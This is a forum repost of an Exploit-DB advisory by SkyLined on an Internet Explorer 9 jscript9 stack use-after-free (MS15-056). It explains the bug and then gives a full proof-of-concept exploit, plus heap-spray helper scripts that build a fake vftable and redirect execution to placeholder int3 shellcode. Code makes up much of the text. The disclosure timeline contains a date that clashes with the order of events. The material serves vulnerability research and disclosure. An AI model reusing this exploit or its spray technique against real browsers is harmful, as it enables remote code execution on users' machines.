Exploit Microsoft Internet Explorer 9 - 'jscript9' JavaScriptStackWalker Memory Corruption (MS15-056)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
40881
Проверка EDB
  1. Пройдено
Автор
SKYLINED
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2015-1730
Дата публикации
2016-12-06
Microsoft Internet Explorer 9 - 'jscript9' JavaScriptStackWalker Memory Corruption (MS15-056)
HTML:
<!--
Source: http://blog.skylined.nl/20161206001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack. This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.

Repro.html:

<!doctype html>
<script>
  var oWindow = window.open("about:blank");
  oWindow.execScript('window.oURIError = new URIError();oURIError.name = oURIError;')
  try { "" + oWindow.oURIError; } catch(e) { }
  try { "" + oWindow.oURIError; } catch(e) { }
</script>

Description

A Javascript can construct an URIError object and sets that object's name property to refer to the URIError object, creating a circular reference. When that Javascript than attempts to convert the URIError object to a string, MSIE attempts to convert the URIError object's name to a string, which creates a recursive code loop that eventually causes a stack exhaustion.

MSIE attempts to handle this situation gracefully by generating a JavaScript exception. While generating the exception, information about the call stack is gathered using the JavascriptStackWalker class. It appears that the code that does this initializes a pointer variable on the stack the first time it is run, but re-uses it if it gets called a second time. Unfortunately, the information the pointer points to is also stored on the stack, but is removed from the stack after the first exception is handled. Careful manipulation of the stack during both exceptions allow an attacker to control the data the pointer points to during the second exception.

This problem is not limited to the URIError object: any recursive function call can be used to trigger the issue, as shown in the exploit below.

Exploit

As mentioned above, the vulnerable pointer points to valid stack memory during the first exception, but it is "popped" from the stack before the second. In order to exploit this vulnerability, the code executed during the first exception is going to point this pointer to a specific area of the stack, while the code executed during the second is going to allocate certain values in that same area before the pointer is re-used.

Control over the stack contents during a stack exhaustion can be achieved by making the recursive calls with many arguments, all of which are stored on the stack. This is similar to a heap-spray storing values on large sections of the heap in that it is not entirely deterministic, but the odds are very highly in favor of you setting a certain value at a certain address.

The exploit triggers the first exception by making recursive calls using a lot of arguments. In each loop, a lot of stack space is needed to make the next call. At some point there will not be enough stack space left to make another call and an exception is thrown. If N arguments are passed during each call, N*4 bytes of stack are needed to store them. The number of bytes left on the stack at the time of the exception varies from 0 to about 4*N and thus averages to about 4*N/2. The vulnerable pointer gets initialized to point to an address near the stack pointer at the time of the exception, at approximately (bottom of stack) + 4*N/2.

The exploit then triggers another stack exhaustion by making recursive calls using many arguments, but significantly less than before. If M arguments are passed during each call this time, the number of bytes left on the stack at the time of the exception averages to about 4*M/2.

When the second exception happens, the vulnerable pointer points inside the stack that was "sprayed" with function arguments. This means we can control where it points to. The pointer is used as an object pointer to get a function address from a vftable, so by using the right value to spray the stack, we can gain full control over execution flow.

The below schematic shows the layout of the stack during the various stages of this exploit:

|                                                                              |
|<- bottom of stack                                             top of stack ->|
|                                                                              |
| Stack layout at the moment the first exception is triggered:                 |
|                                                                              |
|                 [--- CALL X ---][-- CALL X-1 --][-- CALL X-2 --][...........]|
|                                                                              |
|{---------------} Stack space available is less than 4*N bytes                |
|                                                                              |
|                ^^^                                                           |
|                Vulnerable pointer gets initialized to point around here      |
|                                                                              |
|                                                                              |
|                                                                              |
| Stack layout at the moment the second exception is triggered:                |
|                                                                              |
|    [CALL Y][CALL Y-1][CALL Y-2][CALL Y-3][CALL Y-3][........................]|
|                                                                              |
|{--} Stack space available is less than 4*M bytes                             |
|                                                                              |
|                ^^^                                                           |
|                Vulnerable pointer still points around here, most likely at   |
|                one of the arguments pushed onto the stack in a call.         |
|                                                                              |

In the Proof-of-Concept code provided below, the first exception is triggered by recursively calling a function with 0x2000 arguments (N = 0x2000). The second exception is triggered by recursively calling a function with 0x200 arguments (M = 0x200). The values passed as arguments during the second stack exhaustion are set to cause the vulnerable pointer to point to a fake vftable on the heap. The heap is sprayed to create this fake vftable. A fake function address is stored at 0x28000201 (pTarget) that points to a dummy shellcode consisting of int3's at 0x28000300 (pShellcode). Once the vulnerability is triggered, the vulnerable pointer is used to read the pointer to our shellcode from our fake vftable and called, which will attempt to execute our shellcode.

Sploit.html:
-->

<!doctype html>
<script src="String.js"></script>
<script src="sprayHeap.js"></script>
<script>
  function stackOverflowHighOnStack() {
    stackOverflowHighOnStack.apply(0, new Array(0x2000));
  }
  function attack(pTarget) {
    var axArgs = [];
    while (axArgs.length < 0x200) axArgs.push((pTarget - 0x69C) >>> 1);
    exceptionLowOnStackWithSpray();
    function exceptionLowOnStackWithSpray() {
      try {
        (function(){}).apply(0, axArgs);
      } catch (e) {
        throw 0;
      }
      exceptionLowOnStackWithSpray.apply(0, axArgs);
    }
  }
  var pSprayStartAddress          = 0x09000000;
  var dHeapSprayTemplate = {};
  var pTarget                     = 0x28000201;
  var pShellcode                  = 0x28000300;
  dHeapSprayTemplate[pTarget]     = pShellcode;
  dHeapSprayTemplate[pShellcode]  = 0xCCCCCCCC;
  window.sHeapSprayBlock = createSprayBlock(dHeapSprayTemplate);
  window.uHeapSprayBlockCount = getSprayBlockCount(dHeapSprayTemplate, pSprayStartAddress);
  var oWindow = window.open("about:blank");
  function prepare() {
    window.asHeapSpray = new Array(opener.uHeapSprayBlockCount);
    for (var i = 0; i < opener.uHeapSprayBlockCount; i++) {
      asHeapSpray[i] = (opener.sHeapSprayBlock + "A").substr(0, opener.sHeapSprayBlock.length);
    }
  }
  oWindow.eval("(" + prepare + ")();");
  try {
    String(oWindow.eval("({toString:" + stackOverflowHighOnStack + "})"));
  } catch(e) {
    oWindow.eval("(" + attack + ")(" + pTarget + ")");
  }
</script>

<!--
String.js:

String.fromWord = function (wValue) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.fromCharCode(wValue);
}
String.fromWords = function (awValues) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.fromCharCode.apply(0, awValues);
}
String.fromDWord = function (dwValue) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.fromCharCode(dwValue & 0xFFFF, dwValue >>> 16);
}
String.fromDWords = function (auValues) {
  var asDWords = new Array(auValues.length);
  for (var i = 0; i < auValues.length; i++) {
    asDWords[i] = String.fromDWord(auValues[i]);
  }
  return asDWords.join("");
}

String.prototype.repeat = function (uCount) {
  // Return the requested number of concatenated copies of the string.
  var sRepeatedString = "",
      uLeftMostBit = 1 << (Math.ceil(Math.log(uCount + 1) / Math.log(2)) - 1);
  for (var uBit = uLeftMostBit; uBit > 0; uBit = uBit >>> 1) {
    sRepeatedString += sRepeatedString;
    if (uCount & uBit) sRepeatedString += this;
  }
  return sRepeatedString;
}
String.createBuffer = function(uSize, uIndexSize) {
  // Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte
  // "length" header and 2 byte "\0" footer. The optional argument uIndexSize can be 1, 2, 4 or 8, at which point the 
  // buffer will be filled with indices of said size (this is slower but useful for debugging).
  if (!uIndexSize) return "\uDEAD".repeat(uSize / 2 - 3);
  var auBufferCharCodes = new Array((uSize - 4) / 2 - 1);
  var uMSB = uIndexSize == 8 ? 8 : 4; // Most significant byte.
  for (var uCharIndex = 0, uByteIndex = 4; uCharIndex < auBufferCharCodes.length; uCharIndex++, uByteIndex +=2) {
    if (uIndexSize == 1) {
      auBufferCharCodes[uCharIndex] = uByteIndex + ((uByteIndex + 1) << 8);
    } else {
      // Set high bits to prevents both NULLs and valid pointers to userland addresses.
      auBufferCharCodes[uCharIndex] = 0xF000 + (uByteIndex % uIndexSize == 0 ? uByteIndex & 0xFFF : 0);
    }
  }
  return String.fromCharCode.apply([][0], auBufferCharCodes);
}
String.prototype.clone = function () {
  // Create a copy of a BSTR in memory.
  sString = this.substr(0, this.length);
  sString.length;
  return sString;
}

String.prototype.replaceDWord = function (uByteOffset, dwValue) {
  // Return a copy of a string with the given dword value stored at the given offset.
  // uOffset can be a value beyond the end of the string, in which case it will "wrap".
  return this.replaceWord(uByteOffset, dwValue & 0xFFFF).replaceWord(uByteOffset + 2, dwValue >> 16);
}

String.prototype.replaceWord = function (uByteOffset, wValue) {
  // Return a copy of a string with the given word value stored at the given offset.
  // uOffset can be a value beyond the end of the string, in which case it will "wrap".
  if (uByteOffset & 1) {
    return this.replaceByte(uByteOffset, wValue & 0xFF).replaceByte(uByteOffset + 1, wValue >> 8);
  } else {
    var uCharIndex = (uByteOffset >>> 1) % this.length;
    return this.substr(0, uCharIndex) + String.fromWord(wValue) + this.substr(uCharIndex + 1);
  }
}
String.prototype.replaceByte = function (uByteOffset, bValue) {
  // Return a copy of a string with the given byte value stored at the given offset.
  // uOffset can be a value beyond the end of the string, in which case it will "wrap".
  var uCharIndex = (uByteOffset >>> 1) % this.length,
      wValue = this.charCodeAt(uCharIndex);
  if (uByteOffset & 1) {
    wValue = (wValue & 0xFF) + ((bValue & 0xFF) << 8);
  } else {
    wValue = (wValue & 0xFF00) + (bValue & 0xFF);
  }
  return this.substr(0, uCharIndex) + String.fromWord(wValue) + this.substr(uCharIndex + 1);
}

String.prototype.replaceBufferDWord = function (uByteOffset, uValue) {
  // Return a copy of a BSTR with the given dword value store at the given offset.
  if (uByteOffset & 1) throw new Error("uByteOffset (" + uByteOffset.toString(16) + ") must be Word aligned");
  if (uByteOffset < 4) throw new Error("uByteOffset (" + uByteOffset.toString(16) + ") overlaps BSTR size dword.");
  var uCharIndex = uByteOffset / 2 - 2;
  if (uCharIndex == this.length - 1) throw new Error("uByteOffset (" + uByteOffset.toString(16) + ") overlaps BSTR terminating NULL.");
  return this.substr(0, uCharIndex) + String.fromDWord(uValue) + this.substr(uCharIndex + 2);
}

sprayHeap.js:

console = window.console || {"log": function(){}};
function bad(pAddress) {
  // convert a valid 32-bit pointer to an invalid one that is easy to convert
  // back. Useful for debugging: use a bad pointer, get an AV whenever it is
  // used, then fix pointer and continue with exception handled to have see what
  // happens next.
  return 0x80000000 + pAddress;
}
function blanket(dSpray_dwValue_pAddress, pAddress) {
  // Can be used to store values that indicate offsets somewhere in the heap
  // spray. Useful for debugging: blanket region, get an AV at an address
  // that indicates where the pointer came from. Does not overwrite addresses
  // at which data is already stored.
  for (var uOffset = 0; uOffset < 0x40; uOffset += 4) {
    if (!((pAddress + uOffset) in dSpray_dwValue_pAddress)) {
      dSpray_dwValue_pAddress[pAddress + uOffset] = bad(((pAddress & 0xFFF) << 16) + uOffset);
    }
  }
}
var guSprayBlockSize = 0x02000000; // how much fragmentation do you want?
var guSprayPageSize  = 0x00001000; // block alignment.

// Different versions of MSIE have different heap header sizes:
var sJSVersion;
try{
  /*@cc_on @*/
  sJSVersion = eval("@_jscript_version");
} catch(e) {
  sJSVersion = "unknown"
};
var guHeapHeaderSize = {
    "5.8": 0x24,
    "9": 0x10, // MSIE9
    "unknown": 0x10
}[sJSVersion]; // includes BSTR length
var guHeapFooterSize = 0x04;
if (!guHeapHeaderSize)
    throw new Error("Unknown script version " + sJSVersion);

function createSprayBlock(dSpray_dwValue_pAddress) {
  // Create a spray "page" and store spray data at the right offset.
  var sSprayPage = "\uDEAD".repeat(guSprayPageSize >> 1);
  for (var pAddress in dSpray_dwValue_pAddress) {
    sSprayPage = sSprayPage.replaceDWord(pAddress % guSprayPageSize, dSpray_dwValue_pAddress[pAddress]);
  }
  // Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer
  // used by MSIE for larger heap allocations.
  var uSprayPagesPerBlock = Math.ceil(guSprayBlockSize / guSprayPageSize);
  var sSprayBlock = (
    sSprayPage.substr(guHeapHeaderSize >> 1) +
    sSprayPage.repeat(uSprayPagesPerBlock - 2) +
    sSprayPage.substr(0, sSprayPage.length - (guHeapFooterSize >> 1))
  );
  var uActualSprayBlockSize = guHeapHeaderSize + sSprayBlock.length * 2 + guHeapFooterSize;
  if (uActualSprayBlockSize != guSprayBlockSize)
      throw new Error("Assertion failed: spray block (" + uActualSprayBlockSize.toString(16) + ") should be " + guSprayBlockSize.toString(16) + ".");
  console.log("createSprayBlock():");
  console.log("  sSprayPage.length: " + sSprayPage.length.toString(16));
  console.log("  uSprayPagesPerBlock: " + uSprayPagesPerBlock.toString(16));
  console.log("  sSprayBlock.length: " + sSprayBlock.length.toString(16));
  return sSprayBlock;
}
function getHeapBlockIndexForAddress(pAddress) {
  return ((pAddress % guSprayPageSize) - guHeapHeaderSize) >> 1;
}
function getSprayBlockCount(dSpray_dwValue_pAddress, pStartAddress) {
  pStartAddress = pStartAddress || 0;
  var pTargetAddress = 0x0;
  for (var pAddress in dSpray_dwValue_pAddress) {
    pTargetAddress = Math.max(pTargetAddress, pAddress);
  }
  uSprayBlocksCount = Math.ceil((pTargetAddress - pStartAddress) / guSprayBlockSize);
  console.log("getSprayBlockCount():");
  console.log("  pTargetAddress: " + pTargetAddress.toString(16));
  console.log("  uSprayBlocksCount: " + uSprayBlocksCount.toString(16));
  return uSprayBlocksCount;
}
function sprayHeap(dSpray_dwValue_pAddress, pStartAddress) {
  var uSprayBlocksCount = getSprayBlockCount(dSpray_dwValue_pAddress, pStartAddress);
  // Spray the heap by making copies of the spray "block".
  var asSpray = new Array(uSprayBlocksCount);
  asSpray[0] = createSprayBlock(dSpray_dwValue_pAddress);
  for (var uIndex = 1; uIndex < asSpray.length; uIndex++) {
    asSpray[uIndex] = asSpray[0].clone();
  }
  return asSpray;
}
Time-line
13 October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
18 November 2012: This vulnerability was submitted to ZDI.
27 November 2012: EIP declines to acquire this vulnerability because they believe it to be a copy of another vulnerability they already acquired.
7 December 2012: ZDI declines to acquire this vulnerability because they believe it not to be exploitable.

During the initial report detailed above, I did not have a working exploit to prove exploitability. I also expected the bug to be fixed soon, seeing how EIP believed they already reported it to Microsoft. However, about two years later, I decided to look at the issue again and found it had not yet been fixed. Apparently it was not the same issue that EIP reported to Microsoft. So, I decided to try to have another look and developed a Proof-of-Concept exploit.

April 2014: I start working on this case again, and eventually develop a working Proof-of-Concept exploit.
6 November 2014: ZDI was informed of the new analysis and reopens the case.
15 November 2014: This vulnerability was submitted to iDefense.
16 November 2014: iDefense responds to my report email in plain text, potentially exposing the full vulnerability details to world+dog.
17 November 2014: ZDI declines to acquire this vulnerability after being informed of the potential information leak.
11 December 2012: This vulnerability was acquired by iDefense.
The accidentally potential disclosure of vulnerability details by iDefense was of course a bit of a disappointment. They reported that they have since updated their email system to automatically encrypt emails, which should prevent this from happening again.

9 June 2015: Microsoft addresses this vulnerability in MS15-056.
6 December 2016: Details of this vulnerability are released.
-->
 
Источник
www.exploit-db.com

Похожие темы